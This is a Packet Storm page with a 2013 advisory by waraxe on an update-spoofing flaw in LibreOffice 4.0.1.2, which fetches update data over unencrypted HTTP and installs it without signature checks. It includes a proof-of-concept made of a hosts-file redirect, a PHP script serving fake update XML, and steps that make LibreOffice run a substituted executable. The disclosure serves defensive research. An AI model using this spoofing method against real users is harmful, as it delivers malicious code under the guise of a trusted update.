exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

LibreOffice 4.0.1.2 Update Spoofing

LibreOffice 4.0.1.2 Update Spoofing
Posted Mar 22, 2013
Authored by Janek Vind aka waraxe | Site waraxe.us

LibreOffice version 4.0.1.2 suffers from an update spoofing vulnerability due to not using a secure channel nor digital signatures.

tags | exploit, spoof
SHA-256 | 0fd0fd152553fcde204b860ae9af883db4511e308c44f058a80c84db259f2843

LibreOffice 4.0.1.2 Update Spoofing

Change Mirror Download

[waraxe-2013-SA#099] - Update Spoofing Vulnerability in LibreOffice 4.0.1.2
===============================================================================

Author: Janek Vind "waraxe"
Date: 21. March 2013
Location: Estonia, Tartu
Web: https://www.waraxe.us/advisory-99.html


Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

LibreOffice is a free and open source office suite, developed by The Document
Foundation. It is descended from OpenOffice.org, from which it was forked in 2010.
The LibreOffice suite includes a word processor, spreadsheet, graphics editor,
slideshow creator, database and math formula writer.

https://www.libreoffice.org/

Affected are versions 3.5.1 to newest 4.0.1.2, older versions were not tested.

###############################################################################
1. Update Spoofing Vulnerability
###############################################################################

It appears, that current version of LibreOffice contains security vulnerability
in update mechanism, which can be exploited by malicious people to conduct
spoofing attacks.

When checking for updates, LibreOffice issues GET request over HTTP:

GET /check.php HTTP/1.1
Connection: TE, close
TE: trailers
Host: update.libreoffice.org
Accept-Encoding: gzip
Pragma: no-cache
Accept-Language: en-US
User-Agent: LibreOffice 4.0 .0.3 (7545bee9c2a0782548772a21bc84a9dcc583b89;
 Windows; x86; BundledLanguages=en-US af am ar as ast be bg bn bn-IN bo ...)


Server at "update.libreoffice.org" responds with XML data:

<?xml version="1.0" encoding="utf-8"?>
<inst:description xmlns:inst="https://update.libreoffice.org/description">
  <inst:id>LibreOffice 4.0.1</inst:id>
  <inst:gitid>84102822e3d61eb989ddd325abf1ac077904985</inst:gitid>
  <inst:os>Windows</inst:os>
  <inst:arch>x86</inst:arch>
  <inst:version>4.0.1</inst:version>
  <inst:buildid>9999</inst:buildid>
  <inst:update type="text/html" src="https://www.libreoffice.org/download/" />
</inst:description>


LibreOffice user can click "Download" and "Install" buttons and LibreOffice
will download and install the update.

Such update mechanism contains two security flaws:

1. Update check is done over unencrypted HTTP channel. Malicious third party
is able to conduct Man-in-the-Middle (MitM) attacks and spoof server response.
In this way it is possible to instruct LibreOffice to download malicious update.

2. LibreOffice will execute downloaded update without digital signature
verification.

Testing: tests were done using Windows 7, Apache and PHP. Steps:

1. modify "windows/system32/drivers/etc/hosts" file in order to emulate
DNS spoofing:  127.0.0.1 update.libreoffice.org

2. create php file "check.php" to the webserver main directory:

<?php
echo '<?xml version="1.0" encoding="utf-8"?>
<inst:description xmlns:inst="https://update.libreoffice.org/description">
  <inst:id>LibreOffice 5.6.7</inst:id>
  <inst:gitid>123456789</inst:gitid>
  <inst:os>Windows</inst:os>
  <inst:arch>x86</inst:arch>
  <inst:version>5.6.7</inst:version>
  <inst:buildid>9999</inst:buildid>
  <inst:update type="application/octet-stream" src="https://localhost/notepad.exe" />
</inst:description>';
?>

3. Place "notepad.exe" file to the webserver main directory.

4. Open LibreOffice Writer -> Help -> Check For Updates

Response: LibreOffice 5.6.7 is available.

5. Press "Download" button. Successful download ends with response:

Download of LibreOffice 5.6.7 completed. Ready for installation.

6. Press "Install" button, choose "Yes" and after that Notepad will be opened.



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum:  https://www.waraxe.us/forums.html
Personal homepage: https://www.janekvind.com/
Random project: https://albumnow.com/
---------------------------------- [ EOF ] ------------------------------------
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close